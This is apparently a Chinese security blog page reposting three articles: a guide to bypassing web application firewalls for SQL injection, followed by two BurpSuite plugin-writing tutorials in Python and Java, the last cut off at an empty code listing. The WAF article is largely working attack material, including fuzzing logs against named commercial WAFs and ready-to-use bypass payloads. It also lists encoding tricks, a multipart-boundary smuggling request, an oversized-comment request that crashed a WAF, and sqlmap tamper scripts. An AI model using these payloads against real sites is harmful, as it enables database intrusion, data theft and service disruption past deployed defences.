一灯和尚

沉迷学习,无法自拔

0%

0x00 前言

  去年到现在就一直有人希望我出一篇关于waf绕过的文章,我觉得这种老生常谈的话题也没什么可写的。很多人一遇到waf就发懵,不知如何是好,能搜到的各种姿势也是然并卵。但是积累姿势的过程也是迭代的,那么就有了此文,用来总结一些学习和培养突破waf的思想。可能总结的并不全,但目的并不是讲那些网上搜来一大把的东西,So…并不会告诉大家现有的姿势,而是突破Waf Bypass思维定势达到独立去挖掘waf的设计缺陷和如何实现自动化的Waf Bypass(这里只讲主流waf的黑盒测试)

0x01 搞起

  当我们遇到一个waf时,要确定是什么类型的?先来看看主流的这些waf,狗、盾、神、锁、宝、卫士等等。。。(在测试时不要只在官网测试,因为存在版本差异导致规则库并不一致)

  我们要搞清楚遇到的waf是怎么工作的(很重要)主要分为:

1、云waf:

在配置云waf时(通常是CDN包含的waf),DNS需要解析到CDN的ip上去,在请求uri时,数据包就会先经过云waf进行检测,如果通过再将数据包流给主机。

2、主机防护软件:

在主机上预先安装了这种防护软件,可用于扫描和保护主机(废话),和监听web端口的流量是否有恶意的,所以这种从功能上讲较为全面。这里再插一嘴,mod_security、ngx-lua-waf这类开源waf虽然看起来不错,但是有个弱点就是升级的成本会高一些。

3、硬件ips/ids防护、硬件waf(这里先不讲)

使用专门硬件防护设备的方式,当向主机请求时,会先将流量经过此设备进行流量清洗和拦截,如果通过再将数据包流给主机。

  再来说明下某些潜规则(关系):

  • 百度云加速免费版节点基于CloudFlare
  • 安全宝和百度云加速规则库相似
  • 创宇云安全和腾讯云安全规则库相似
  • 腾讯云安全和门神规则库相似
  • 硬件waf自身漏洞往往一大堆

  当Rule相似时,会导致一个问题,就比如和双胞胎结婚晓得吧?嗯。

0x02 司空见惯

我们还需要把各种特性都记牢,在运用时加以变化会很有效果。

数据库特性

  • 注释:
1
2
3
4
5
6
7
8
#
--
-- -
--+
//
/**/
/*letmetest*/
;%00

利用注释简单绕过云锁的一个案例:

拦截的,但// > 1个就可以绕过了,也就是///**/以上都可以。

  • 科学记数法:

  • 空白字符:

    1
    2
    3
    4
    5
    SQLite3 0A 0D 0C 09 20 
    MySQL5 09 0A 0B 0C 0D A0 20
    PosgresSQL 0A 0D 0C 09 20
    Oracle 11g 00 0A 0D 0C 09 20
    MSSQL 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
  • +号:

    ![我的WafBypass之道(SQL注入篇)_4_1](E:\blog\myblog\source_posts\SQL注入绕waf/我的WafBypass之道(SQL注入篇)_4_1.jpg”>

  • -号:

    ![我的WafBypass之道(SQL注入篇)_4_2](E:\blog\myblog\source_posts\SQL注入绕waf/我的WafBypass之道(SQL注入篇)_4_2.jpg”>

  • ``符号:

    ![我的WafBypass之道(SQL注入篇)_4_3](E:\blog\myblog\source_posts\SQL注入绕waf/我的WafBypass之道(SQL注入篇)_4_3.jpg”>

  • ~号:

    ![我的WafBypass之道(SQL注入篇)_4_4](E:\blog\myblog\source_posts\SQL注入绕waf/我的WafBypass之道(SQL注入篇)_4_4.jpg”>

  • !号:

    ![我的WafBypass之道(SQL注入篇)_4_5](E:\blog\myblog\source_posts\SQL注入绕waf/我的WafBypass之道(SQL注入篇)_4_5.jpg”>

  • @形式

    ![我的WafBypass之道(SQL注入篇)_4_6](E:\blog\myblog\source_posts\SQL注入绕waf/我的WafBypass之道(SQL注入篇)_4_6.jpg”>

  • 点号.1:

    ![我的WafBypass之道(SQL注入篇)_4_7](E:\blog\myblog\source_posts\SQL注入绕waf/我的WafBypass之道(SQL注入篇)_4_7.jpg”>

  • 单引号双引号:

    ![我的WafBypass之道(SQL注入篇)_5_1](E:\blog\myblog\source_posts\SQL注入绕waf/我的WafBypass之道(SQL注入篇)_5_1.jpg”>

  • 括号select(1):

    ![我的WafBypass之道(SQL注入篇)_5_2](E:\blog\myblog\source_posts\SQL注入绕waf/我的WafBypass之道(SQL注入篇)_5_2.jpg”>

试试union(select)云盾会不会拦截

  • 花括号:

这里举一个云盾的案例,并附上当时fuzz的过程:

1
2
3
4
5
6
7
8
9
10
union+select 拦截
select+from 不拦截
select+from+表名 拦截
union(select) 不拦截
所以可以不用在乎这个union了。
union(select user from ddd) 拦截
union(select%0aall) 不拦截
union(select%0aall user from ddd) 拦截
fuzz下select%0aall与字段之间 + 字段与from之间 + from与表名之间 + 表名与末尾圆括号之间可插入的符号。
union(select%0aall{user}from{ddd}) 不拦截。
Bypass Payload:
1
2
3
1 union(select%0aall{x users}from{x ddd})
1 union(select%0adistinct{x users}from{x ddd})
1 union(select%0adistinctrow{x users}from{x ddd})

可运用的sql函数&关键字:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
MySQL:
union distinct
union distinctrow
procedure analyse()
updatexml()
extracavalue()
exp()
ceil()
atan()
sqrt()
floor()
ceiling()
tan()
rand()
sign()
greatest()
字符串截取函数
Mid(version(),1,1)
Substr(version(),1,1)
Substring(version(),1,1)
Lpad(version(),1,1)
Rpad(version(),1,1)
Left(version(),1)
reverse(right(reverse(version()),1)
字符串连接函数
concat(version(),'|',user());
concat_ws('|',1,2,3)
字符转换
Char(49)
Hex('a')
Unhex(61)
过滤了逗号
(1)limit处的逗号:
limit 1 offset 0
(2)字符串截取处的逗号
mid处的逗号:
mid(version() from 1 for 1)

MSSQL:
IS_SRVROLEMEMBER()
IS_MEMBER()
HAS_DBACCESS()
convert()
col_name()
object_id()
is_srvrolemember()
is_member()
字符串截取函数
Substring(@@version,1,1)
Left(@@version,1)
Right(@@version,1)
(2)字符串转换函数
Ascii('a') 这里的函数可以在括号之间添加空格的,一些waf过滤不严会导致bypass
Char('97')
exec

Mysql BIGINT数据类型构造溢出型报错注入:BIGINT Overflow Error Based SQL Injection

容器特性

  • %特性:

asp+iis的环境中,当我们请求的url中存在单一的百分号%时,iis+asp会将其忽略掉,而没特殊要求的waf当然是不会的:

修复方式应该就是检测这种百分号%的周围是否能拼凑成恶意的关键字吧。

  • %u特性:

iis支持unicode的解析,当我们请求的url存在unicode字符串的话iis会自动将其转换,但waf就不一定了:

修复过后:

这个特性还存在另一个case,就是多个widechar会有可能转换为同一个字符。

1
2
s%u0065lect->select
s%u00f0lect->select

WAF对%u0065会识别出这是e,组合成了select关键字,但有可能识别不出%u00f0

其实不止这个,还有很多类似的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
字母a:
%u0000
%u0041
%u0061
%u00aa
%u00e2
单引号:
%u0027
%u02b9
%u02bc
%u02c8
%u2032
%uff07
%c0%27
%c0%a7
%e0%80%a7
空白:
%u0020
%uff00
%c0%20
%c0%a0
%e0%80%a0
左括号(:
%u0028
%uff08
%c0%28
%c0%a8
%e0%80%a8
右括号):
%u0029
%uff09
%c0%29
%c0%a9
%e0%80%a9
  • 畸形协议&请求:

asp/asp.net:

还有asp/asp.net在解析请求的时候,允许application/x-www-form-urlencoded的数据提交方式,不管是GET还是POST,都可正常接收,过滤GET请求时如果没有对application/x-www-form-urlencoded提交数据方式进行过滤,就会导致任意注入。

php+Apache:

waf通常会对请求进行严格的协议判断,比如GET、POST等,但是apache解析协议时却没有那么严格,当我们将协议随便定义时也是可以的:

PHP解析器在解析multipart请求的时候,它以逗号作为边界,只取boundary,而普通解析器接受整个字符串。 因此,如果没有按正确规范的话,就会出现这么一个状况:首先填充无害的data,waf将其视为了一个整体请求,其实还包含着恶意语句。

1
2
3
4
5
6
7
8
9
10
------,xxxx
Content-Disposition: form-data; name="img"; filename="img.gif"

GIF89a
------
Content-Disposition: form-data; name="id"

1' union select null,null,flag,null from flag limit 1 offset 1-- -
--------
------,xxxx--

通用的特性

  • HPP:

HPP是指HTTP参数污染-HTTP Parameter Pollution。当查询字符串多次出现同一个key时,根据容器不同会得到不同的结果。

假设提交的参数即为:

id=1&id=2&id=3

1
Asp.net + iis:id=1,2,3 Asp + iis:id=1,2,3 Php + apache:id=3
  • 双重编码:

这个要视场景而定,如果确定一个带有waf的site存在解码后注入的漏洞的话,会有效避过waf。

1
unlencodebase64jsonbinaryquerystringhtmlencodeunicodephp serialize
  • 我们在整体测试一个waf时,可测试的点都有哪些?

  GET、POST、HEADER那么我们专门针对一个waf进行测试的时候就要将这几个点全测试个遍,header中还包括Cookie、X-Forwarded-For等,往往除了GET以外其他都是过滤最弱的。

0x03 见招拆招

  “正则逃逸大法”:或许大家没听说过这个名词,因为是我起的。我发现很多waf在进行过滤新姿势的时候很是一根筋,最简单的比方,过滤了%23%0a却不过滤%2d%2d%0a?上面提到八成的waf都被%23%0a所绕过。

  科学计数法1union、1from?多次被坑的安全宝&百度云加速&Imperva:

  过滤了union+select+from,那我select+from+union呢?使用Mysql自定义变量的特性就可以实现,这里举一个阿里云盾的案例:

  由于后面在调用自定义变量的时候需要用到union+select,所以还需要绕过这个点。/ddd/union/ddd/select 就可以了。

Bypass Payload:

1
id=1|@pwd:=(select username from users where id=4)/*ddd*/union/*ddd*/select null,@pwd

  如何做到通过推理绕过waf?这里举一个腾讯云安全的案例:

绕过思路:
首先看看腾讯云安全怎么检测sql注入的,怎么匹配关键字会被拦截,怎么匹配不会?

  • union+select拦截
  • select+from拦截
  • union+from不拦截

那么关键的点就是绕过这个select关键字

  • select all
  • select distinct
  • select distinctrow

既然这些都可以,再想想使用这样的语句怎么不被检测到?select与all中间肯定不能用普通的/**/这种代替空格,还是会被视为是union+select。select all可以这么表达/!12345select all/,腾讯云早已识破这种烂大街的招式。尝试了下/!/中间也可以使用%0a换行。

/!12345%0aselect%20all/还是会被拦截,这就说明腾讯云在语法检测的时候会忽略掉数字后面的%0a换行,虽然属于union+12342select,但简单的数字和关键字区分识别还是做得到。再测试/!12345select%0aall/,结果就合乎推理了,根据测试知道腾讯云安全会忽略掉%0a换行,这就等于union+12345selectall, 不会被检测到。(忽略掉%0a换行为了过滤反而可以用来加以利用进行Bypass)

可能会问,推理的依据并不能真正意义上证明忽略掉了%0a啊?当然要证明下啊,/!12345%0aselect%0aall/就被拦截了,说明刚开始检测到12345%0aselect就不再检测后方的了,union+12345select就已经可以拦截掉了。

还可能会问,既然忽略掉了%0a,那么/!select%0aall/是不是也可以啊,然而并不行。合理的推理很有必要。

  Bypass Payload:

1
1' union/*!50000select%0aall*/username from users%231' union/*!50000select%0adistinct*/username from users%231' union/*!50000select%0adistinctrow*/username from users%23

  不是绕不过狗,只是不够细心:

1
union+select拦截。select+from拦截。union+from不拦截。fuzz了下/*!50000select*/这个5位数,前两位数<50 && 第二位!==0 && 后三位数==0即可bypass。(一点细节也不要放过。)

测试环境

Windows Server 2008 + APACHE + PHP + Mysql Bypass Payload:

1
1' union/*!23000select*/user,password from users%23
 这里证明一个观点:好姿势不是死的,零零碎碎玩不转的姿势巧妙的结合一下。所以说一个姿势被拦截不代表就少了一个姿势。

0x04 别按套路出牌

  云锁版本迭代导致的 & 360主机卫士一直存在的问题:

  注意POST那个方向,waf在检测POST传输的数据过程中,没有进行URL的检测,也就是说waf会认为URL上的任何参数信息都是正常的。既然是POST请求,那就只检测请求正文咯。(神逻辑)

  在标准HTTP处理流程中,只要后端有接收GET形式的查询字段,即使客户端用POST传输,查询字符串上满足查询条件时,是会进行处理的。(没毛病)

  当waf成了宕机的罪魁祸首是什么样的?举一个安全狗的案例:

1
/*66666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666*/

  注释中包含超长查询字符串,导致安全狗在识别的过程中挂掉了,连带着整个机器Service Unavailable:

  再举一个云锁也是因为数据包过长导致绕过的案例:

  云锁在开始检测时先判断包的大小是否为7250byte以下,n为填充包内容,设置n大小为2328时,可以正常访问页面,但是会提示拦截了SQL注入

  当数据包超过2329时就可以成功绕过,2329长度以后的就不检测了。?

0x05 猥琐很重要

  这里讲个有意思的案例,并且是当时影响了安全宝、阿里云盾的姿势:

  有次睡前想到的,emoji图标!是的,平时做梦并没有美女与野兽。当时只是随便一想,第二天问了5up3rc,他说他也想过,但测试并没有什么效果。

  emoji是一串unicode字集组成,一个emoji图标占5个字节,mysq也支持emoji的存储,在mysql下占四个字节:

  既然在查询的时候%23会忽略掉后面的,那么Emoji就可以插入到%23与%0A之间。再加多试了试,成功绕过了,200多个emoji图标,只能多,但少一个都不行。。。

  可能会说,这是因为超⻓查询导致的绕过吧?并不是。

  这么⻓,mysql也是会执行的:

  我们再来测试阿里云盾:

  绕过了。。。事情还没看起来这么简单。

  当缩少emoji数量的话会拦截,想想还是再加多些试试:

  还是拦截,那刚才的没拦截是怎么回事?点根烟,逐一进行排查。发现能绕过的原因和emoji数量无关,而是某个emoji可以。

  就是这个愤怒的emoji,其他的emoji都不行。唯独愤怒脸可以:

  将这些emoji进行urlencode看看特征,究竟是什么原因?看看哪些emoji插入不会被拦截:

  有些emoji进行urlencode后是很⻓的,因为是几个emoji进行组合的。

  将这些payload进行注入进去。

  难道只有这个愤怒脸插入进去就可以绕过?也不能这么说,我发现能绕过的字符都是ascii码超过了127的字符:

  那为什么愤怒脸的emoji可以?这里提到emoji的特征,常⻅的emoji是四位组成,前三位多数是一致的,把这三位插入payload试试:

  可以实现绕过,再来看看愤怒脸的urlencode:

  最后一位是%a0,那么也就是说完全可以忽略掉最后一位,而多数emoji第四位是 < ascii 127的,所以达到绕过的只是 > ascii 127的字符,会导致waf引擎无法检测。

  我是个技术人,虽然这是异想天开没有任何根据的想法,但仍愿意去尝试。courage to try!

0x06 自动化Bypass

首先总结下sqlmap的各种bypass waf tamper:

1
apostrophemask.py 用UTF-8全角字符替换单引号字符apostrophenullencode.py 用非法双字节unicode字符替换单引号字符appendnullbyte.py 在payload末尾添加空字符编码base64encode.py 对给定的payload全部字符使用Base64编码between.py 分别用“NOT BETWEEN 0 AND #”替换大于号“>”,“BETWEEN # AND #”替换等于号“=”bluecoat.py 在SQL语句之后用有效的随机空白符替换空格符,随后用“LIKE”替换等于号“=”chardoubleencode.py 对给定的payload全部字符使用双重URL编码(不处理已经编码的字符)charencode.py 对给定的payload全部字符使用URL编码(不处理已经编码的字符)charunicodeencode.py 对给定的payload的非编码字符使用Unicode URL编码(不处理已经编码的字符)concat2concatws.py 用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换像“CONCAT(A, B)”的实例equaltolike.py 用“LIKE”运算符替换全部等于号“=”greatest.py 用“GREATEST”函数替换大于号“>”halfversionedmorekeywords.py 在每个关键字之前添加MySQL注释ifnull2ifisnull.py 用“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例lowercase.py 用小写值替换每个关键字字符modsecurityversioned.py 用注释包围完整的查询modsecurityzeroversioned.py 用当中带有数字零的注释包围完整的查询multiplespaces.py 在SQL关键字周围添加多个空格nonrecursivereplacement.py 用representations替换预定义SQL关键字,适用于过滤器overlongutf8.py 转换给定的payload当中的所有字符percentage.py 在每个字符之前添加一个百分号randomcase.py 随机转换每个关键字字符的大小写randomcomments.py 向SQL关键字中插入随机注释securesphere.py 添加经过特殊构造的字符串sp_password.py 向payload末尾添加“sp_password” for automatic obfuscation from DBMS logsspace2comment.py 用“/**/”替换空格符space2dash.py 用破折号注释符“–”其次是一个随机字符串和一个换行符替换空格符space2hash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符space2morehash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符space2mssqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符space2mssqlhash.py 用磅注释符“#”其次是一个换行符替换空格符space2mysqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符space2mysqldash.py 用破折号注释符“–”其次是一个换行符替换空格符space2plus.py 用加号“+”替换空格符space2randomblank.py 用一组有效的备选字符集当中的随机空白符替换空格符unionalltounion.py 用“UNION SELECT”替换“UNION ALL SELECT”unmagicquotes.py 用一个多字节组合%bf%27和末尾通用注释一起替换空格符varnish.py 添加一个HTTP头“X-originating-IP”来绕过WAFversionedkeywords.py 用MySQL注释包围每个非函数关键字versionedmorekeywords.py 用MySQL注释包围每个关键字xforwardedfor.py 添加一个伪造的HTTP头“X-Forwarded-For”来绕过WAF

看起来很全,但有个缺点就是功能单一,灵活程度面对当今的主流waf来说很吃力了。 鉴于多数waf产品是使用Rule进行防护,那么这里也不提什么高大上的机器学习。就是简 单粗暴的fuzz。 去年黄登提到过建立有毒标示模型,根据这个模型将waf进行训练。

![我的WafBypass之道(SQL注入篇)_33_1](E:\blog\myblog\source_posts\SQL注入绕waf/我的WafBypass之道(SQL注入篇)_33_1.jpg”>

我把每个sql关键字两侧可插入的点称之为“位”,最基本的一句注入语句就有这些位:

![我的WafBypass之道(SQL注入篇)_33_2](E:\blog\myblog\source_posts\SQL注入绕waf/我的WafBypass之道(SQL注入篇)_33_2.jpg”>

​ 假设有n个有毒标示

​ 最基本的诸如语句可以插入五个位

​ 这五个定义位a1,a2 . . . a5

​ 那么结果将会是多少呢?

​ a1^n + a2^n + a3^n + a4^n + a5^n

这个是叠加的,关键字不止这些,稍微复杂一点的环境就会需要更多的关键字来注入, 也就会需要fuzz更多的位。

还需要经过各种编码过后,根据数据库的样式使用相应的特性和配合的函数等等。

当前几个关键字达到绕过效果时,只需继续fuzz后面几个位即可。

还有就是传输过程中可测试的点:

![我的WafBypass之道(SQL注入篇)_33_3](E:\blog\myblog\source_posts\SQL注入绕waf/我的WafBypass之道(SQL注入篇)_33_3.jpg”>

因为当我们在传输的过程中导致的绕过往往是致命的,比如中间件的特性/缺陷,导致 waf不能识别或者是在满足特定条件下的欺骗了waf。

0x07 End

一写起来就根本停不起来,后期决定出一系列waf绕过文,例如文件上传、webshell 防御、权限提升等Waf绕过。xss的bypass就算了,防不胜防…(如果又想到什么有趣的 手法的话,我会以下面回帖的方式给大家)

转载声明

本文转载自先知社区:https://xz.aliyun.com/t/368【我的WafBypass之道(SQL注入篇)】

BurpSuite插件开发指南之Python篇

0x00 Jython 简介

BurpSuite 是使用 Java 编程语言编写的,所以想要使用 Python 编程语言开发其插件,就必须借助于 Jython。Jython 本质上是一个 Java 应用程序,它允许 coder 们使用 Java 代码调用 Python 库反之,也可以使用 Python 调用 Java 的库。

有关 Jython 的详细使用,请读者参阅 Jython 官网的 用户手册 和 相关 doc。

类似于 Jython 的 Project 还有 JRuby ,并且 Burp 也支持 ruby 编写插件,但是无论是用 Python 还是 Ruby 编写的插件,在执行效率方面远远不如原生的 Java 高,所以笔者还是建议使用 Java 编写插件。

0x01 Python 编写 Burp 插件

Python 编写 Burp 插件辅助工具

Jython Burp API

使用 Python 编写 Burp 插件的时候会遇到各种琐碎的麻烦。最主要的原因在于,Java 与 Python 编程语言特性上的差异,如:强弱类型,数据类型等以及 Jython 本身与 CPython 的一些不同(具体请看 Jython 官网文档)。不过在熟悉了 Burp 接口和基本的编写套路后,一切都会变得很简单。

国外有牛人编写了一个 Jython Burp API,封装了一些功能,可以很方便的获取 Burp 数据并且可以调试 Jython 代码。具体使用说明请看 Git 文档。

Jython Burp API Git 地址

注:

加载 Jython Burp API 时会出现 sys 模块 PS1 PS2 未定义的错误。后来 Google 后发现这个是 Jython 本身的一个 Bug,不过官方已有 Issue 会在后续的版本中进行修复。

解决此错误的方法如下:

编辑 jython-burp-api/Lib/gds/burp/console/console.py 文件,将 25 26 行直接改为如下代码即可:

img

Python 编写 Burp 插件 注意事项

Python 导入相关库

Python 实现接口的方式与 Python 中类的继承写法一样。只是读者要注意的是:在 Java 中,类是单继承的,一个子类直接继承的父类只能有一个,可以通过间接的方式实现多继承,但 Python 中是可以直接继承多个类。

Python 编写 Burp 插件的示例代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!python
#!/usr/bin/env python
# -*- coding:utf-8 -*-

'''
BurpSuite插件开发指南之 Python 篇
'''

# 导入 burp 接口
from burp import IBurpExtender, IProxyListener

# 导入 Java 库
from java.net import URL

# 按照 Python 类继承的方式实现相关接口

class BurpExtender(IBurpExtender, IProxyListener):

def registerExtenderCallbacks(self, callbacks):
# code here
pass

def processProxyMessage(self, messageIsRequest, message):
pass

PermGen space 错误

在 Burp 加载 Python 编写的插件时,会经常遇到如下图所示的错误:

img

Burp 官网也给出了解决 java.lang.OutOfMemoryError: PermGen space 错误的办法。

在启动 Burp 时设置 JVM 的 XX 参数即可,如: java -XX:MaxPermSize=1G -jar burp.jar

不过即使是使用上述参数启动 Burp,在多次加载 Python 编写的插件后,还是会出现 Burp 卡死的现象。

Burp 加载 Python 编写的插件的方法

Python 编写的插件文件后缀为 py 文件,不能由 Burp 直接加载,所以在加载前需要先设置 Jython 的路径。

在 Jython 官方下载页面选择 Jython 独立 jar 包。下载好后,按照下图所示设置:

img

加载 Python 插件的方式如下图:

img

Python 编写 Burp GUI 插件实例

本实例使用 Python 调用 Java 的 swing 图形控件库并绑定相关事件。最终结果如下图:

img

示例代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!python
#!/usr/bin/env python
# -*- coding:utf-8 -*-

'''
BurpSuite插件开发指南之 Python 篇
'''

# 导入 burp 接口
from burp import IBurpExtender, ITab

# 导入 Java 库

from javax.swing import JPanel
from javax.swing import JButton

class BurpExtender(IBurpExtender, ITab):

def registerExtenderCallbacks(self, callbacks):

self._cb = callbacks
self._hp = callbacks.getHelpers()

self._cb.setExtensionName('BurpPython')
print 'hello burp!'

self.mainPanel = JPanel()

# 初始化一个 JButton 并绑定单击事件
self.testBtn = JButton('Click Me!', actionPerformed=self.testBtn_onClick)

self.mainPanel.add(self.testBtn)

self._cb.customizeUiComponent(self.mainPanel)
self._cb.addSuiteTab(self)

def testBtn_onClick(self, event):
print 'testBtn clicked!'

# 实现 ITab 接口的 getTabCaption() 方法
def getTabCaption(self):
return 'BurpPython'

def getUiComponent(self):
return self.mainPanel

相比较 Java 编写 GUI 插件,如果要实现比较复杂的 GUI,使用 Python 编写还是比较轻松的事情,不用关心太多的参数及参数类型,绑定事件也更加简单。

0x02 Python 编写 Burp 插件实例之 工具集成菜单

本小节会使用一个工具集成右键菜单的 Burp 插件举例说明 Python 编写 Burp 插件的套路。

注:读者可以在此插件的基础上修改为任何你想要执行的命令或程序 并指定不同的参数,如:使用 请求原始数据配合 SQLMap 进行SQLi 测试。另外在使用该插件过程时,可以将输出设置为系统控制台输出,如下图所示:

img

代码和配置文件内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
#!python
#!/usr/bin/env python
# -*- coding:utf-8 -*-

'''
BurpSuite插件开发指南之 Python 篇
'''

import os
import sys
import json
import thread
import traceback

# 导入 burp 相关接口
from burp import IBurpExtender
from burp import IContextMenuFactory

# 导入 Java 相关库
from javax.swing import JMenu
from javax.swing import JMenuItem

reload(sys)
sys.setdefaultencoding('utf-8')


class BurpExtender(IBurpExtender, IContextMenuFactory):

def registerExtenderCallbacks(self, callbacks):

self.messages = []
self.menusConf = {}

self.callbacks = callbacks
self.helpers = callbacks.getHelpers()

self.callbacks.issueAlert('toolKits is ready ...')
self.callbacks.setExtensionName('toolKits')
self.callbacks.registerContextMenuFactory(self)

def loadMenus(self):
self.menus = []
self.mainMenu = JMenu("toolKits")
self.menus.append(self.mainMenu)

try:
with open('toolKits/toolKits.conf') as fp:
self.menusConf = json.loads(fp.read())
except:
self.mainMenu.add(JMenuItem(u'加载配置出错!'))
else:
for tool in self.menusConf:
# 遍历配置,创建子菜单项,并添加事件绑定
menu = JMenuItem(tool['name'],
None,
actionPerformed=lambda x: self.eventHandler(x))
self.mainMenu.add(menu)

def createMenuItems(self, invocation):

# 将加载的过程放在 createMenuItems 接口方法中
# 可以在不重新加载该插件的情况下,动态加载配置
self.loadMenus()

self.messages = invocation.getSelectedMessages()

# 只在指定的 Burp 标签的右键菜单显示
# ctx = invocation.getInvocationContext()
# if not ctx in [0, 1, 2, 3, 4, 5, 6]:
# return None

return self.menus if self.menus else None

def eventHandler(self, x):
'''
通过获取当前点击的子菜单的 text 属性,确定当前需要执行的 command
启动线程执行命令
'''

try:
menuName = x.getSource().text
for tool in self.menusConf:
if tool['name'] == menuName:
commands = [tool['command'].replace(
'{#}', val) for val in self.getValue(tool['param'])]
[thread.start_new_thread(self.execCommand, (command,))
for command in commands]
except:
print traceback.print_exc()

def getHost(self, message):
return message.getHttpService().getHost()

# 获取 Url 注意此处若通过 meesage.getRequest() 是获取不到的
def getUrl(self, meesage):
return str(self.helpers.analyzeRequest(meesage).getUrl())

# 通过配置中的 参数值 分别获取不同值
def getValue(self, paramType):
if paramType == 'host':
return set([self.getHost(message) for message in self.messages])
elif paramType == 'url':
return set([self.getUrl(message) for message in self.messages])

# 执行命令处理方法
def execCommand(self, command):
try:
print '[I] 正在执行命令: {command}, 请稍后...'.format(command=command)
res = '---------- 命令 {command} 执行结果: ---------- {res}'.format(
command=command, res=os.popen(command).read())
print res
except:
print traceback.print_exc()

该插件有一个配置文件,格式为 JSON 格式(Jython 2.7.0 不支持 yaml):

1
2
3
4
5
6
7
8
9
10
11
#!javascript
[{
"name": "Nmap 扫描端口",
"param": "host",
"command": "nmap -T4 {#}"
},
{
"name": "SQLMap 检查注入",
"param": "url",
"command": "python /opt/sqlmap/sqlmap.py -u {#} --dbs"
}]

转自:https://www.tuicool.com/articles/aaaa6fA

BurpSuite插件开发指南之Java篇

0x00 Java 接口简介

知其然更要知其所以然。在真正动手编写 Burp 插件之前,有必要对Burp提供的各个接口有一定的了解,同时要有一定的编程经验和能力。那么,在此篇中读者则有必要了解 Java 的接口技术。

接口(英文:Interface)在 Java 编程语言中是一个比较抽象的东西。熟悉 OOP 的同学可以用“类”的思想来理解接口。但是,要明白的是,类与接口有相似的地方同时也有很多不同的地方。

接口的声明

接口的声明语法格式如下:

1
2
3
4
5
#!java
[可见度] interface 接口名称 [extends 其他的类名] {
// 声明变量
// 抽象方法
}

例如,Burp 的 接口声明原型如下:

1
2
3
4
5
6
7
#!java
package burp;

public interface IBurpExtender
{
void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks);
}

接口的实现

一个接口可以被另外一个接口继承,也可以被一个类实现。当类实现接口的时候,类要实现接口中所有的方法。否则,类必须声明为抽象的类。类使用implements关键字实现接口。在类声明中,Implements关键字放在class声明后面。不熟悉Java编程的读者要牢记这几点。

实现一个接口的语法如下:

1
2
#!java
... implements 接口名称[, 其他接口1, 其他接口2..., ...] ...

例如,编写 Burp 插件必须编写的 BurpExtender 类实现 IBurpExtender 和 IProxyListener 接口代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!java
package burp;

public class BurpExtender implements IBurpExtender, IProxyListener{

// 实现 IBurpExtender 接口的 registerExtenderCallbacks 方法
@Override
public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) {
// TODO here
}

// 实现 IProxyListener 接口的 processProxyMessage 方法
@Override
public void processProxyMessage(boolean messageIsRequest,
IInterceptedProxyMessage message) {
// TODO here
}
}

需要注意的是,在Burp提供的接口文档中,并不是所有的接口都可以用类实现,只有在接口的描述中说明了“该接口可以被实现”时,所对应的接口才可以被你所编写的类实现其方法。

0x01 Java Swing 和 AWT 包简介

Java Swing 是 Java Foundation Classes(JFC)的一部分。在 Swing 中,包含了很多强大灵活的,跨平台的 GUI 控件。Swing 组件遵循(MVC)模型 - 视图 - 控制器架构,并提供了三个通用的顶层容器类 JFrame,JDialog 和 JApplet。在开发带有 GUI 的 BurpSuite 插件时,一般不会直接用到这三个顶层容器类,具体要看个人的设计和需求。

下面是一些最常用的控件:

  • JLabel 标签控件,JLabel 的对象是在容器中放置一个文本标签。
  • JButton 按钮控件。
  • JColorChooser 颜色选择控件,用于让用户操作和选择颜色。
  • JCheckBox 选择框控件,支持分组。
  • JRadioButton 单选框控件,支持分组。
  • JList 列表控件。
  • JComboBox 组合框控件。
  • JTextField 文本框控件。
  • JPasswordField 密码输入框控件。
  • JTextArea 多行文本控件。
  • ImageIcon 绘制图标的控件。
  • JScrollbar 滚动条控件,支持水平和垂直滚动。
  • JFileChooser 选择文件对话框。
  • JProgressBar 进度条控件。
  • JPanel 面板控件,此控件在开发插件时会经常用到。

Swing 是在 AWT 的基础上构建的一套新的图形界面系统,所以 AWT 是 Java 实现图形界面的基础,图形控件的事件监听和响应也是由 AWT 完成的。不过,编写 Burp 插件所用到的图形组件和事件并不多,很容易上手。

有关更多 GUI 组件的知识,请读者自行百度了解。在此不做过多阐述。

0x02 自定义 Burp UI 标签

编写 GUI 的 Burp 插件在实际使用时更加易于操作和表达信息。当然,编写起来也十分简单,只需遵循一定的“套路”,就可以了。

最终编写好的基本的样式如下图所示:

img

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
